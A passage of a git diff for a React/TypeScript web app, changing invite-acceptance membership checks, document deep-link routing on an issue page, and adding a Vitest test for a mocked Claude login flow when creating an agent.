+      expect(localStorage.getItem("paperclip:pending-invite-token")).toBe("pcp_invite_test");
+
+      await act(async () => {
+        root.unmount();
+      });
+    });
+
+    it("still reads the shared list as membership on a local_trusted instance", async () => {
+      // No accounts exist in this mode, so the shared list cannot belong to anyone
+      // else and stays authoritative.
+      healthGetMock.mockResolvedValue({ status: "ok", deploymentMode: "local_trusted" });
+      getSessionMock.mockResolvedValue(null);
+
+      const root = createRoot(container);
+      const queryClient = createAppLikeQueryClient(null);
+
+      await act(async () => {
+        root.render(
+          <MemoryRouter initialEntries={["/invite/pcp_invite_test"]}>
+            <QueryClientProvider client={queryClient}>
+              <Routes>
+                <Route path="/invite/:token" element={<InviteLandingPage />} />
+              </Routes>
+            </QueryClientProvider>
+          </MemoryRouter>,
+        );
+      });
+      await flushReact();
+      await flushReact();
+      await flushReact();
+
+      expect(container.textContent).toContain("Already in this company");
+      expect(acceptInviteMock).not.toHaveBeenCalled();
+
+      await act(async () => {
+        root.unmount();
+      });
+    });
+  });
+
   it("shows invite details instead of auto-redirecting for signed-in existing members", async () => {
     getSessionMock.mockResolvedValue({
       session: { id: "session-1", userId: "user-1" },
@@ -876,7 +1102,7 @@ describe("InviteLandingPage", () => {
     const queryClient = new QueryClient({
       defaultOptions: { queries: { retry: false } },
     });
-    queryClient.setQueryData(queryKeys.companies.all, {
+    queryClient.setQueryData(queryKeys.companies.list("user-1"), {
       companies: [],
       unauthorized: false,
     });
diff --git a/ui/src/pages/InviteLanding.tsx b/ui/src/pages/InviteLanding.tsx
index f732085361f..3ac1e9ca262 100644
--- a/ui/src/pages/InviteLanding.tsx
+++ b/ui/src/pages/InviteLanding.tsx
@@ -8,7 +8,7 @@ import { useCompany } from "@/context/CompanyContext";
 import { Link, useNavigate, useParams } from "@/lib/router";
 import { accessApi } from "../api/access";
 import { authApi } from "../api/auth";
-import { companiesListQueryOptions } from "../api/companies-query";
+import { fetchCompanyListForCurrentAccount, useCompanyListQuery } from "../api/companies-query";
 import { healthApi } from "../api/health";
 import { getAdapterLabel } from "../adapters/adapter-display-registry";
 import { clearPendingInviteToken, rememberPendingInviteToken } from "../lib/invite-memory";
@@ -23,6 +23,7 @@ const ENABLED_INVITE_ADAPTERS = new Set([
   "claude_local",
   "codex_local",
   "gemini_local",
+  "kimi_local",
   "opencode_local",
   "pi_local",
   "cursor",
@@ -180,10 +181,10 @@ function AwaitingJoinApprovalPanel({
           </p>
           <div className="border border-zinc-800 p-3">
             <p className="text-xs text-zinc-500 mb-1">Approval page</p>
-            <p className="text-sm text-zinc-200">Company Settings → Members</p>
+            <p className="text-sm text-zinc-200">Settings → Members</p>
           </div>
           <p className="text-sm text-zinc-400">
-            Ask them to visit <span className="text-zinc-200">Company Settings → Members</span> to approve your request.
+            Ask them to visit <span className="text-zinc-200">Settings → Members</span> to approve your request.
           </p>
           <p className="text-xs text-zinc-500">
             Refresh this page after you've been approved — you'll be redirected automatically.
@@ -242,11 +243,31 @@ export function InviteLandingPage() {
     retry: false,
   });
 
-  const companiesQuery = useQuery({
-    ...companiesListQueryOptions,
+  // Whose list this is, is no longer this page's problem: the entry is keyed by
+  // account, so another account's list is unreachable rather than merely
+  // distrusted. What is left for the gate below is narrower and still real — do
+  // we have an answer *yet*. Without it, a pending query reads as an empty list,
+  // which reads as "not a member", which auto-accepts an invite the customer may
+  // already hold.
+  //
+  // Hence `staleTime: 0` and a mount-scoped flag rather than `isSuccess`: a
+  // cached list is the right account's now, but it can be thirty seconds old, and
+  // acting on "not a member" is the direction that costs something.
+  //
+  // `local_trusted` has no accounts at all, so there is no identity to key on and
+  // nothing to check the list against; the gate stays open.
+  const companiesQuery = useCompanyListQuery({
     enabled: !!sessionQuery.data && !!inviteQuery.data?.companyId,
+    staleTime: 0,
   });
-  const companyList = companiesQuery.data?.companies ?? [];
+  const membershipIsAccountScoped = healthQuery.data?.deploymentMode !== "local_trusted";
+  // No `sessionQuery.data` term: the query only fetches while a session exists, so
+  // the flag cannot be true without one, and if the session lapses the observer
+  // re-keys to the anonymous entry and holds no data to leak.
+  const membershipListIsCurrent = membershipIsAccountScoped
+    ? companiesQuery.isFetchedAfterMount
+    : true;
+  const companyList = membershipListIsCurrent ? companiesQuery.data?.companies ?? [] : [];
 
   useEffect(() => {
     if (token) rememberPendingInviteToken(token);
@@ -257,18 +278,19 @@ export function InviteLandingPage() {
   }, [token]);
 
   useEffect(() => {
+    if (!membershipListIsCurrent) return;
     const list = companiesQuery.data?.companies;
     if (!list || !inviteQuery.data?.companyId) return;
     if (list.some((c) => c.id === inviteQuery.data!.companyId)) {
       clearPendingInviteToken(token);
     }
-  }, [companiesQuery.data, inviteQuery.data, token]);
+  }, [companiesQuery.data, inviteQuery.data, membershipListIsCurrent, token]);
 
   const invite = inviteQuery.data;
   const isCheckingExistingMembership =
     Boolean(sessionQuery.data) &&
     Boolean(invite?.companyId) &&
-    companiesQuery.isLoading;
+    !membershipListIsCurrent;
   const isCurrentMember =
     Boolean(invite?.companyId) &&
     companyList.some((company) => company.id === invite?.companyId);
@@ -370,7 +392,12 @@ export function InviteLandingPage() {
       await queryClient.invalidateQueries({ queryKey: queryKeys.auth.session });
       await queryClient.invalidateQueries({ queryKey: queryKeys.health });
       await queryClient.invalidateQueries({ queryKey: queryKeys.access.currentBoardAccess });
-      const { companies: freshCompanies } = await queryClient.fetchQuery(companiesListQueryOptions);
+      // Keyed to the account that just signed in — the helper resolves the
+      // identity past the invalidation above rather than trusting the session
+      // entry still sitting in the cache — and forced past whatever is cached
+      // for it. This replaces the hand-rolled cancel-and-refetch this PR
+      // originally carried, which #11488 made both unnecessary and weaker.
+      const { companies: freshCompanies } = await fetchCompanyListForCurrentAccount(queryClient);
 
       if (invite?.companyId && freshCompanies.some((company) => company.id === invite.companyId)) {
         clearPendingInviteToken(token);
diff --git a/ui/src/pages/InviteUxLab.tsx b/ui/src/pages/InviteUxLab.tsx
index 4a2b1d6368d..b1a6f2747f3 100644
--- a/ui/src/pages/InviteUxLab.tsx
+++ b/ui/src/pages/InviteUxLab.tsx
@@ -429,7 +429,7 @@ function InviteResultPreview({
             <div className="border border-zinc-800 p-3">
               <p className="mb-1 text-xs text-zinc-500">Approval page</p>
               <a className="text-sm text-zinc-200 underline underline-offset-2" href="/company/settings/members">
-                Company Settings → Members
+                Settings → Members
               </a>
             </div>
             <p className="text-xs text-zinc-500">
@@ -902,7 +902,7 @@ export function InviteUxLab() {
           />
           <InviteResultPreview
             title="Request to join Acme Robotics"
-            description="Ask them to visit Company Settings → Members to approve your request."
+            description="Ask them to visit Settings → Members to approve your request."
           />
         </div>
       </LabSection>
@@ -920,7 +920,7 @@ export function InviteUxLab() {
       </LabSection>
 
       <LabSection
-        eyebrow="Company settings"
+        eyebrow="Settings"
         title="Company invite management"
         description="This section captures the board-side invite creation flow, copied-link state, audit table, and the edge states that are otherwise tedious to stage."
         accentClassName="bg-[linear-gradient(180deg,rgba(244,114,182,0.06),transparent_28%),var(--background)]"
diff --git a/ui/src/pages/IssueDetail.test.tsx b/ui/src/pages/IssueDetail.test.tsx
index 2e038a8392e..e63429e2e76 100644
--- a/ui/src/pages/IssueDetail.test.tsx
+++ b/ui/src/pages/IssueDetail.test.tsx
@@ -90,6 +90,10 @@ const mockLocation = vi.hoisted(() => ({
 }));
 const mockOpenPanel = vi.hoisted(() => vi.fn());
 const mockClosePanel = vi.hoisted(() => vi.fn());
+const mockSetPanelVisible = vi.hoisted(() => vi.fn());
+const mockPanelState = vi.hoisted(() => ({ panelVisible: true }));
+const mockSidebarState = vi.hoisted(() => ({ isMobile: false }));
+const mockIssuePropertiesRender = vi.hoisted(() => vi.fn());
 const mockSetBreadcrumbs = vi.hoisted(() => vi.fn());
 const mockSetMobileToolbar = vi.hoisted(() => vi.fn());
 const mockPushToast = vi.hoisted(() => vi.fn());
@@ -207,15 +211,13 @@ vi.mock("../context/PanelContext", () => ({
   usePanel: () => ({
     openPanel: mockOpenPanel,
     closePanel: mockClosePanel,
-    panelVisible: true,
-    setPanelVisible: vi.fn(),
+    panelVisible: mockPanelState.panelVisible,
+    setPanelVisible: mockSetPanelVisible,
   }),
 }));
 
 vi.mock("../context/SidebarContext", () => ({
-  useSidebar: () => ({
-    isMobile: false,
-  }),
+  useSidebar: () => mockSidebarState,
 }));
 
 vi.mock("../context/BreadcrumbContext", () => ({
@@ -365,7 +367,10 @@ vi.mock("../components/IssuesList", () => ({
 }));
 
 vi.mock("../components/IssueProperties", () => ({
-  IssueProperties: () => <div>Properties</div>,
+  IssueProperties: (props: unknown) => {
+    mockIssuePropertiesRender(props);
+    return <div>Properties</div>;
+  },
 }));
 
 vi.mock("../components/IssueRunLedger", () => ({
@@ -1022,6 +1027,8 @@ describe("IssueDetail", () => {
   let consoleErrorSpy: ReturnType<typeof vi.spyOn>;
 
   beforeEach(() => {
+    mockPanelState.panelVisible = true;
+    mockSidebarState.isMobile = false;
     container = document.createElement("div");
     document.body.appendChild(container);
     root = createRoot(container);
@@ -1078,6 +1085,8 @@ describe("IssueDetail", () => {
     mockIssuesApi.getDocument.mockResolvedValue(null);
     mockOpenPanel.mockClear();
     mockClosePanel.mockClear();
+    mockSetPanelVisible.mockClear();
+    mockIssuePropertiesRender.mockClear();
     mockIssuesListRender.mockClear();
     mockIssueChatThreadRender.mockClear();
     mockImageGalleryRender.mockClear();
@@ -1127,6 +1136,172 @@ describe("IssueDetail", () => {
     ).toBe(false);
   });
 
+  it("opens a closed desktop pane and routes an ordinary document to Artifacts on direct load", async () => {
+    mockPanelState.panelVisible = false;
+    mockLocation.hash = "#document-qa-evidence";
+    mockIssuesApi.get.mockResolvedValue(createIssue());
+
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <IssueDetail />
+        </QueryClientProvider>,
+      );
+    });
+
+    await waitForAssertion(() => {
+      expect(mockSetPanelVisible).toHaveBeenCalledWith(true);
+      const panel = mockOpenPanel.mock.calls.at(-1)?.[0] as { props?: Record<string, unknown> } | undefined;
+      expect(panel?.props?.documentDeepLink).toMatchObject({
+        tab: "artifacts",
+        documentKey: "qa-evidence",
+      });
+    });
+  });
+
+  it("leaves ordinary document links to the classic center-column surface", async () => {
+    mockPanelState.panelVisible = false;
+    mockLocation.hash = "#document-qa-evidence";
+    mockInstanceSettingsApi.getExperimental.mockResolvedValue({
+      enableIssuePlanDecompositions: false,
+      enableExperimentalFileViewer: false,
+      enableExternalObjects: false,
+      enableClassicTaskInterface: true,
+    });
+    mockIssuesApi.get.mockResolvedValue(createIssue());
+
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <IssueDetail />
+        </QueryClientProvider>,
+      );
+    });
+
+    await waitForAssertion(() => {
+      expect(container.querySelector('[data-testid="issue-chat-thread"]')).not.toBeNull();
+      expect(mockSetPanelVisible).not.toHaveBeenCalled();
+      const panel = mockOpenPanel.mock.calls.at(-1)?.[0] as { props?: Record<string, unknown> } | undefined;
+      expect(panel?.props?.documentDeepLink).toBeNull();
+    });
+  });
+
+  it("clears document routing when the URL no longer names a document", async () => {
+    mockLocation.hash = "#document-qa-evidence";
+    mockIssuesApi.get.mockResolvedValue(createIssue());
+
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <IssueDetail />
+        </QueryClientProvider>,
+      );
+    });
+    await waitForAssertion(() => {
+      const panel = mockOpenPanel.mock.calls.at(-1)?.[0] as { props?: Record<string, unknown> } | undefined;
+      expect(panel?.props?.documentDeepLink).toMatchObject({ documentKey: "qa-evidence" });
+    });
+
+    mockLocation.hash = "#work-product-1";
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <IssueDetail />
+        </QueryClientProvider>,
+      );
+    });
+
+    await waitForAssertion(() => {
+      const panel = mockOpenPanel.mock.calls.at(-1)?.[0] as { props?: Record<string, unknown> } | undefined;
+      expect(panel?.props?.documentDeepLink).toBeNull();
+    });
+  });
+
+  it("routes plan to the Plan pane tab and leaves continuation-summary on its existing surface", async () => {
+    mockPanelState.panelVisible = false;
+    mockLocation.hash = "#document-plan";
+    mockIssuesApi.get.mockResolvedValue(createIssue());
+
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <IssueDetail />
+        </QueryClientProvider>,
+      );
+    });
+    await waitForAssertion(() => {
+      const panel = mockOpenPanel.mock.calls.at(-1)?.[0] as { props?: Record<string, unknown> } | undefined;
+      expect(panel?.props?.documentDeepLink).toMatchObject({ tab: "plans", documentKey: "plan" });
+    });
+
+    mockSetPanelVisible.mockClear();
+    mockLocation.hash = "#document-continuation-summary";
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <IssueDetail />
+        </QueryClientProvider>,
+      );
+    });
+    expect(mockSetPanelVisible).not.toHaveBeenCalled();
+    await waitForAssertion(() => {
+      const panel = mockOpenPanel.mock.calls.at(-1)?.[0] as { props?: Record<string, unknown> } | undefined;
+      expect(panel?.props?.documentDeepLink).toBeNull();
+    });
+  });
+
+  it("replays document routing when the current same-page hash is clicked again", async () => {
+    mockLocation.hash = "#document-qa-evidence";
+    mockIssuesApi.get.mockResolvedValue(createIssue());
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <IssueDetail />
+        </QueryClientProvider>,
+      );
+    });
+    await waitForAssertion(() => {
+      const panel = mockOpenPanel.mock.calls.at(-1)?.[0] as { props?: Record<string, unknown> } | undefined;
+      expect((panel?.props?.documentDeepLink as { requestId?: number } | null)?.requestId).toBe(1);
+    });
+
+    const link = document.createElement("a");
+    link.href = "#document-qa-evidence";
+    link.textContent = "QA evidence";
+    container.appendChild(link);
+    await act(async () => link.click());
+
+    await waitForAssertion(() => {
+      const panel = mockOpenPanel.mock.calls.at(-1)?.[0] as { props?: Record<string, unknown> } | undefined;
+      expect((panel?.props?.documentDeepLink as { requestId?: number } | null)?.requestId).toBe(2);
+    });
+  });
+
+  it("opens the mobile properties sheet for a document deep link", async () => {
+    mockSidebarState.isMobile = true;
+    mockLocation.hash = "#document-qa-evidence";
+    mockIssuesApi.get.mockResolvedValue(createIssue());
+
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <IssueDetail />
+        </QueryClientProvider>,
+      );
+    });
+
+    await waitForAssertion(() => {
+      expect(mockIssuePropertiesRender).toHaveBeenCalledWith(expect.objectContaining({
+        inline: true,
+        documentDeepLink: expect.objectContaining({
+          tab: "artifacts",
+          documentKey: "qa-evidence",
+        }),
+      }));
+    });
+    expect(mockSetPanelVisible).not.toHaveBeenCalled();
+  });
+
   it("renders the full sub-task tree below the title in the chat center pane", async () => {
     mockIssuesApi.get.mockResolvedValue(createIssue());
     mockIssuesApi.list.mockResolvedValue([
diff --git a/ui/src/pages/IssueDetail.tsx b/ui/src/pages/IssueDetail.tsx
index 13b8ecfbbff..135b438c217 100644
--- a/ui/src/pages/IssueDetail.tsx
+++ b/ui/src/pages/IssueDetail.tsx
@@ -130,7 +130,7 @@ import {
   hasVisibleMonitorSurface,
 } from "../components/IssueMonitorBanner";
 import { IssueScheduledRetryCard } from "../components/IssueScheduledRetryCard";
-import { IssueProperties } from "../components/IssueProperties";
+import { IssueProperties, type IssuePropertiesDocumentDeepLink } from "../components/IssueProperties";
 import { PauseAffectsSummaryView } from "../components/interrupt-handoff/InterruptHandoffViews";
 import { computePauseAffectsSummary } from "../lib/interrupt-handoff";
 import { useIssueExternalObjects } from "../hooks/useIssueExternalObjects";
@@ -171,6 +171,7 @@ import { Textarea } from "@/components/ui/textarea";
 import { formatIssueActivityAction } from "@/lib/activity-format";
 import { copyTextToClipboard } from "../lib/clipboard";
 import { buildIssuePropertiesPanelKey } from "../lib/issue-properties-panel-key";
+import { resolveIssueDocumentDeepLink } from "../lib/issue-document-deep-link";
 import { buildIssueSiblingNavigation, shouldRenderRichSubIssuesSection } from "../lib/issue-detail-subissues";
 import { filterIssueDescendants } from "../lib/issue-tree";
 import { buildSubIssueDefaultsForViewer } from "../lib/subIssueDefaults";
@@ -1698,7 +1699,10 @@ export function IssueDetail() {
   // legacy title/description block, sub-tasks table, plan decompositions and
   // Documents section are gated off (plan lives in the properties-pane Plan
   // tab). Flag ON restores the legacy page.
-  const { enabled: classicTaskInterfaceEnabled } = useClassicTaskInterfaceEnabled();
+  const {
+    enabled: classicTaskInterfaceEnabled,
+    loaded: classicTaskInterfaceLoaded,
+  } = useClassicTaskInterfaceEnabled();
   const taskChatShellEnabled = !classicTaskInterfaceEnabled;
   // Chat-style: the page wrapper spans the full center pane so the thread's
   // scroll viewport (and its scrollbar) reaches the properties-pane border;
@@ -1718,6 +1722,9 @@ export function IssueDetail() {
   const [moreOpen, setMoreOpen] = useState(false);
   const [copied, setCopied] = useState(false);
   const [mobilePropsOpen, setMobilePropsOpen] = useState(false);
+  const [documentDeepLink, setDocumentDeepLink] = useState<
+    (IssuePropertiesDocumentDeepLink & { issueId: string }) | null
+  >(null);
   const [fileViewerPromptOpen, setFileViewerPromptOpen] = useState(false);
   const [detailTab, setDetailTab] = useState("chat");
   // Redesign: the center tab strip is hidden, so chat is the only surface —
@@ -3508,6 +3515,7 @@ export function IssueDetail() {
         onRetryExternalObjects={externalObjectsState.isEnabled ? externalObjectsState.refetch : undefined}
         onCheckMonitorNow={() => checkIssueMonitorNow.mutate()}
         checkingMonitorNow={checkIssueMonitorNow.isPending}
+        documentDeepLink={documentDeepLink?.issueId === panelIssue.id ? documentDeepLink : null}
       />
     );
     return () => closePanel();
@@ -3528,6 +3536,7 @@ export function IssueDetail() {
     externalObjectsState.isLoading,
     externalObjectsState.isError,
     externalObjectsState.refetch,
+    documentDeepLink,
   ]);
 
   const goToInboxShortcutArmedRef = useRef(false);
@@ -3655,14 +3664,81 @@ export function IssueDetail() {
     };
   }, [fileViewerEnabled, keyboardShortcutsEnabled, navigate, sourceBreadcrumb.href]);
 
+  const routeIssueDocumentDeepLink = useCallback((hash: string) => {
+    const route = resolveIssueDocumentDeepLink(hash);
+    if (!route) return false;
+
+    if (route.kind === "continuation-summary") {
+      setDocumentDeepLink(null);
+      setDetailTab("activity");
+      setHandoffFocusSignal((current) => current + 1);
+      return true;
+    }
+
+    // The classic interface owns document links in its center-column
+    // Documents section. Do not open its tab-less properties panel.
+    if (!classicTaskInterfaceLoaded || !taskChatShellEnabled) return false;
+
+    if (isMobile) {
+      setMobilePropsOpen(true);
+    } else {
+      if (suppressPanelForFirstTask && issue?.id) {
+        setFirstTaskPanelOverrideIssueId(issue.id);
+      }
+      setPanelVisible(true);
+    }
+    const targetIssueId = issue?.id ?? issueId ?? "";
+    setDocumentDeepLink((current) => ({
+      issueId: targetIssueId,
+      tab: route.tab,
+      documentKey: route.documentKey,
+      requestId: current?.issueId === targetIssueId ? current.requestId + 1 : 1,
+    }));
+    return true;
+  }, [
+    classicTaskInterfaceLoaded,
+    isMobile,
+    issue?.id,
+    issueId,
+    setPanelVisible,
+    suppressPanelForFirstTask,
+    taskChatShellEnabled,
+  ]);
+
   useEffect(() => {
-    const hash = location.hash;
-    if (!hash.startsWith("#document-")) return;
-    const documentKey = decodeURIComponent(hash.slice("#document-".length));
-    if (documentKey !== ISSUE_CONTINUATION_SUMMARY_DOCUMENT_KEY) return;
-    setDetailTab("activity");
-    setHandoffFocusSignal((current) => current + 1);
-  }, [location.hash]);
+    if (!routeIssueDocumentDeepLink(location.hash)) {
+      setDocumentDeepLink(null);
+    }
+  }, [issueId, location.hash, routeIssueDocumentDeepLink]);
+
+  // React Router does not emit a location update when the user clicks a link
+  // whose hash is already current. Capture that repeated intent so a manually
+  // collapsed document reopens and scrolls back into view.
+  useEffect(() => {
+    const handleSameHashDocumentClick = (event: MouseEvent) => {
+      if (event.button !== 0 || event.metaKey || event.ctrlKey || event.shiftKey || event.altKey) return;
+      const target = event.target;
+      if (!(target instanceof Element)) return;
+      const anchor = target.closest<HTMLAnchorElement>("a[href]");
+      if (!anchor) return;
+      const rawHref = anchor.getAttribute("href");
+      if (!rawHref) return;
+
+      let targetUrl: URL;
+      try {
+        targetUrl = new URL(rawHref, window.location.href);
+      } catch {
+        return;
+      }
+      const sameIssue = rawHref.startsWith("#")
+        || (targetUrl.pathname === location.pathname && targetUrl.search === location.search);
+      if (!sameIssue || targetUrl.hash !== location.hash) return;
+      routeIssueDocumentDeepLink(targetUrl.hash);
+    };
+
+    document.addEventListener("click", handleSameHashDocumentClick, true);
+    return () => document.removeEventListener("click", handleSameHashDocumentClick, true);
+  }, [location.hash, location.pathname, location.search, routeIssueDocumentDeepLink]);
 
   // Scroll + briefly highlight work-product / direct-attachment anchors so the
   // company Artifacts page (PAP-10359) can deep-link to a specific artifact in
@@ -5519,6 +5595,7 @@ export function IssueDetail() {
                 onRetryExternalObjects={externalObjectsState.isEnabled ? externalObjectsState.refetch : undefined}
                 onCheckMonitorNow={() => checkIssueMonitorNow.mutate()}
                 checkingMonitorNow={checkIssueMonitorNow.isPending}
+                documentDeepLink={documentDeepLink?.issueId === issue.id ? documentDeepLink : null}
               />
             </div>
           </ScrollArea>
diff --git a/ui/src/pages/NewAgent.test.tsx b/ui/src/pages/NewAgent.test.tsx
new file mode 100644
index 00000000000..7391237175d
--- /dev/null
+++ b/ui/src/pages/NewAgent.test.tsx
@@ -0,0 +1,407 @@
+// @vitest-environment jsdom
+
+import { createRoot, type Root } from "react-dom/client";
+import { flushSync } from "react-dom";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { getEnvironmentCapabilities } from "@paperclipai/shared";
+import { TooltipProvider } from "@/components/ui/tooltip";
+import { ToastProvider } from "../context/ToastContext";
+import { NewAgent } from "./NewAgent";
+
+// The real adapter registry stays in place so the create request runs the real
+// Claude config builder. That builder turns the fixed binding into the adapter
+// `env` map, which is the contract this page test verifies.
+
+const mockAgentsApi = vi.hoisted(() => ({
+  adapterModelProfiles: vi.fn(),
+  adapterModels: vi.fn(),
+  detectModel: vi.fn(),
+  list: vi.fn(),
+  hire: vi.fn(),
+  testEnvironment: vi.fn(),
+  getClaudeOAuthTokenStatus: vi.fn(),
+  startClaudeSetupTokenLogin: vi.fn(),
+  getClaudeSetupTokenLoginStatus: vi.fn(),
+  getClaudeSetupTokenLoginPrompt: vi.fn(),
+  submitClaudeSetupTokenBrowserCode: vi.fn(),
+  completeClaudeSetupTokenLogin: vi.fn(),
+  cancelClaudeSetupTokenLogin: vi.fn(),
+}));
+
+const mockEnvironmentsApi = vi.hoisted(() => ({ list: vi.fn(), capabilities: vi.fn() }));
+const mockInstanceSettingsApi = vi.hoisted(() => ({
+  get: vi.fn(),
+  getExperimental: vi.fn(),
+  getGeneral: vi.fn(),
+}));
+const mockSecretsApi = vi.hoisted(() => ({
+  list: vi.fn(),
+  listProposals: vi.fn(),
+  listUserSecretDefinitions: vi.fn(),
+}));
+const mockCompanySkillsApi = vi.hoisted(() => ({ list: vi.fn() }));
+const mockIssuesApi = vi.hoisted(() => ({ list: vi.fn() }));
+const mockProjectsApi = vi.hoisted(() => ({ list: vi.fn() }));
+const mockAssetsApi = vi.hoisted(() => ({ uploadImage: vi.fn() }));
+const mockClipboard = vi.hoisted(() => ({ copyTextToClipboard: vi.fn() }));
+const navigateMock = vi.hoisted(() => vi.fn());
+
+vi.mock("@/lib/router", () => ({
+  useNavigate: () => navigateMock,
+  useSearchParams: () => [new URLSearchParams(), vi.fn()],
+}));
+
+vi.mock("../context/CompanyContext", () => ({
+  useCompany: () => ({ selectedCompanyId: "company-1" }),
+}));
+
+vi.mock("../context/BreadcrumbContext", () => ({
+  useBreadcrumbs: () => ({ setBreadcrumbs: vi.fn() }),
+}));
+
+vi.mock("../api/agents", () => ({ agentsApi: mockAgentsApi }));
+vi.mock("../api/environments", () => ({ environmentsApi: mockEnvironmentsApi }));
+vi.mock("../api/instanceSettings", () => ({ instanceSettingsApi: mockInstanceSettingsApi }));
+vi.mock("../api/secrets", () => ({ secretsApi: mockSecretsApi }));
+vi.mock("../api/companySkills", () => ({ companySkillsApi: mockCompanySkillsApi }));
+vi.mock("../api/issues", () => ({ issuesApi: mockIssuesApi }));
+vi.mock("../api/projects", () => ({ projectsApi: mockProjectsApi }));
+vi.mock("../api/assets", () => ({ assetsApi: mockAssetsApi }));
+vi.mock("../lib/clipboard", () => ({
+  copyTextToClipboard: mockClipboard.copyTextToClipboard,
+}));
+
+vi.mock("../adapters/use-disabled-adapters", () => ({
+  useDisabledAdaptersSync: () => new Set<string>(),
+}));
+
+// The form reads the projected adapter login capability to pick the login flow
+// and to gate the login panel. The server projects these safe scalar fields.
+// `claude_local` runs on a real pseudo-terminal, so the panel gate requires the
+// provider pty capability. Provide the projection so the login panel renders.
+const mockLoginProjections = vi.hoisted(
+  () =>
+    new Map<string, { panelMode: string; sandboxTransport: string; timeoutPolicy: string }>([
+      ["claude_local", { panelMode: "submitted_browser_code", sandboxTransport: "pseudo_terminal", timeoutPolicy: "fixed" }],
+      ["codex_local", { panelMode: "displayed_code", sandboxTransport: "streamed_exec", timeoutPolicy: "caller_bounded" }],
+    ]),
+);
+
+vi.mock("../adapters/use-adapter-capabilities", () => ({
+  useAdapterCapabilities: () => (adapterType: string) => {
+    const login = mockLoginProjections.get(adapterType);
+    return {
+      supportsInstructionsBundle: true,
+      supportsSkills: true,
+      supportsLocalAgentJwt: true,
+      requiresMaterializedRuntimeSkills: false,
+      supportsModelProfiles: true,
+      supportsAcp: true,
+      ...(login ? { login } : {}),
+    };
+  },
+}));
+
+vi.mock("../components/MarkdownEditor", () => ({
+  MarkdownEditor: ({
+    value,
+    onChange,
+    placeholder,
+  }: {
+    value: string;
+    onChange: (value: string) => void;
+    placeholder?: string;
+  }) => (
+    <textarea
+      aria-label={placeholder ?? "Markdown"}
+      value={value}
+      onChange={(event) => onChange(event.currentTarget.value)}
+    />
+  ),
+}));
+
+// eslint-disable-next-line @typescript-eslint/no-explicit-any
+(globalThis as any).IS_REACT_ACT_ENVIRONMENT = true;
+
+async function act(callback: () => void | Promise<void>) {
+  let result: void | Promise<void> = undefined;
+  flushSync(() => {
+    result = callback();
+  });
+  await result;
+}
+
+async function flushReact() {
+  await act(async () => {
+    for (let i = 0; i < 4; i += 1) {
+      await Promise.resolve();
+      await new Promise((resolve) => window.setTimeout(resolve, 0));
+    }
+  });
+}
+
+// Flush React effects and pending promises until a condition holds. The Claude
+// login chains a start, a status poll, and a completion read, so a single flush
+// does not settle every state transition.
+async function flushUntil(check: () => boolean, timeoutMs = 4000) {
+  const start = Date.now();
+  while (!check()) {
+    if (Date.now() - start > timeoutMs) break;
+    await flushReact();
+    await new Promise((resolve) => setTimeout(resolve, 20));
+  }
+  await flushReact();
+}
+
+function findButton(container: HTMLElement, label: string) {
+  return Array.from(container.querySelectorAll("button")).find(
+    (button) => button.textContent?.trim() === label,
+  );
+}
+
+async function clickByText(container: HTMLElement, label: string) {
+  const button = findButton(container, label);
+  await act(async () => {
+    button?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+  });
+  await flushReact();
+}
+
+const CLAUDE_AUTH_MISSING_RESULT = {
+  adapterType: "claude_local",
+  status: "warn",
+  checks: [
+    {
+      code: "claude_hello_probe_auth_required",
+      level: "warn",
+      message: "Claude CLI is installed, but login is required.",
+    },
+    {
+      code: "adapter_auth_missing",
+      level: "warn",
+      message: "The sandbox has no ready authentication for this adapter.",
+    },
+  ],
+  testedAt: new Date(0).toISOString(),
+};
+
+// The provider capabilities the form fetches. Daytona advertises the
+// setup-token login capability; E2B does not. The Claude login panel shows only
+// for a provider with the capability, so the sandbox environment uses Daytona.
+const SANDBOX_CAPABILITIES = getEnvironmentCapabilities(["claude_local", "codex_local"], {
+  sandboxProviders: {
+    daytona: { supportsLoginPty: true, displayName: "Daytona" },
+    e2b: { supportsLoginPty: false, displayName: "E2B" },
+  },
+});
+
+async function renderNewAgent() {
+  const container = document.createElement("div");
+  document.body.appendChild(container);
+  const root = createRoot(container);
+  const queryClient = new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+      mutations: { retry: false },
+    },
+  });
+
+  await act(async () => {
+    root.render(
+      <QueryClientProvider client={queryClient}>
+        <ToastProvider>
+          <TooltipProvider>
+            <NewAgent />
+          </TooltipProvider>
+        </ToastProvider>
+      </QueryClientProvider>,
+    );
+  });
+  await flushReact();
+  return { container, root };
+}
+
+// Complete the Claude subscription login on the page: run the environment test,
+// start the login, and let the panel reach the server `stored` state.
+async function completeClaudeLogin(container: HTMLElement) {
+  await clickByText(container, "Test Agent");
+  await flushUntil(() => Boolean(findButton(container, "Log in")));
+  await clickByText(container, "Log in");
+  await flushUntil(() => (container.textContent ?? "").includes("Authenticated"));
+}
+
+describe("NewAgent Claude subscription login", () => {
+  let roots: Root[] = [];
+
+  beforeEach(() => {
+    mockAgentsApi.adapterModelProfiles.mockResolvedValue([]);
+    mockAgentsApi.adapterModels.mockResolvedValue([]);
+    mockAgentsApi.detectModel.mockResolvedValue(null);
+    // No existing agents: the page treats the new agent as the first (CEO) and
+    // seeds the name, so the Create button is enabled without a typed name.
+    mockAgentsApi.list.mockResolvedValue([]);
+    mockAgentsApi.hire.mockResolvedValue({ agent: { id: "agent-1", name: "CEO" } });
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    // The default owner has no stored Claude token, so the login is a first
+    // write. A test overrides this to prove the panel applies a stored token
+    // first and passes the captured version as a version-checked overwrite.
+    mockAgentsApi.getClaudeOAuthTokenStatus.mockResolvedValue(null);
+    mockAgentsApi.startClaudeSetupTokenLogin.mockResolvedValue({
+      sessionId: "claude-session-1",
+      environmentId: "sandbox-1",
+      status: "starting",
